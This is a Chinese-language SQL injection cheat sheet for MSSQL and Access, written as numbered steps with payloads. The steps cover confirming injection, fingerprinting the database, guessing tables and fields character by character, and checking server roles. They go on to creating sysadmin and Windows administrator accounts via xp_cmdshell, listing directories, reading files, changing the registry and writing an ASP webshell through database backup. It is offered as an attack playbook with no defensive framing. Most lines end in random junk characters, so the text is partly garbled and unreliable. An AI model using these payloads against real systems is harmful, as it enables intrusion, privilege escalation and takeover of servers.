1.判断是否有注入;and 1=1 ;and 1=2 /*Iq,"kGz
2.初步判断是否是mssql ;and user>0 GVR/p
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3.注入参数是字符'and [查询条件] and ''=' B6ee\23
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' r&+8\/{
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5.判断数据库系统 cZC%W!pT
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;and (select count(*) from sysobjects)>0 mssql 3w!8PPl
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;and (select count(*) from msysobjects)>0 access cQ}3?
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 4FQB%3>*
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 e_=TkG1E6
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $-Iui0h
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9.(1)猜字段的ascii值(access) ^G(U@-0..
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 MTXh-9DA
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(2)猜字段的ascii值(mssql) rf?%- X(V
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10.测试权限结构(mssql) 9Xl[AVs:M
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- IVSOSl|
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- UOIB}ut
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- W {A4*{
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,="hI:*<
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- :'`y}'
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- }TQa<;Q
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;and 1=(select IS_MEMBER('db_owner'));-- n
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11.添加mssql和系统的帐户 wxJu=#!M
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;exec master.dbo.sp_addlogin username;-- OEw#;l4 C
;exec master.dbo.sp_password null,username,password;-- {ty)2
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- rjK]zD9
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;exec master.dbo.xp_cmdshell 'net user username password H2lQ(Y+H
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ^'\JI
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- @yM$Et5
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- /|0xOiib
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12.(1)遍历目录 n
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;create table dirs(paths varchar(100), id int) @AtJO>w
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;insert dirs exec master.dbo.xp_dirtree 'c:\' v]Fw~Y7l!
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;and (select top 1 paths from dirs)>0 >{S
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) :6MV@{;PJ
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(2)遍历目录 ''dS{nQs
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- {p.^E5&
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 &@K6;T
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1etT."
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ZIN1y;dJ
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 i50E#+E8
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13.mssql中的存储过程 q68CU~i*
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xp_regenumvalues 注册表根键, 子键 {]bmecz
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 tD*k
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xp_regread 根键,子键,键值名 qt(4?_J
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 -T}r$A
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xp_regwrite 根键,子键, 值名, 值类型, 值 r+8)<Xt+p
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 #+QJ5VI:
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 NN#k^[i1
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xp_regdeletevalue 根键,子键,值名 n}b{u@$
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 R#3zGWr~
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 p>,D F9W`
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14.mssql的backup创建webshell \q?^DI:`
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use model w$IUm_~waa
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create table cmd(str image); t{g@z3
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insert into cmd(str) values (''); fF(AvMsO
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backup database model to disk='c:\l.asp'; t{>#)5Pqv
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15.mssql内置函数 ZJF"Yo
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;and (select @@version)>0 获得Windows的版本号 Ell14Iki
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa xT+#K5
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;and (select user_name())>0 爆当前系统的连接用户 J6[}o4Z
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;and (select db_name())>0 得到当前连接的数据库 T ay226
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16.简洁的webshell r!1f>F*dt
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use model Rz&`L8Bz
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create table cmd(str image); (u^8=#
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insert into cmd(str) values (''); YO-B|f
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backup database model to disk='g:\wwwtest\l.asp';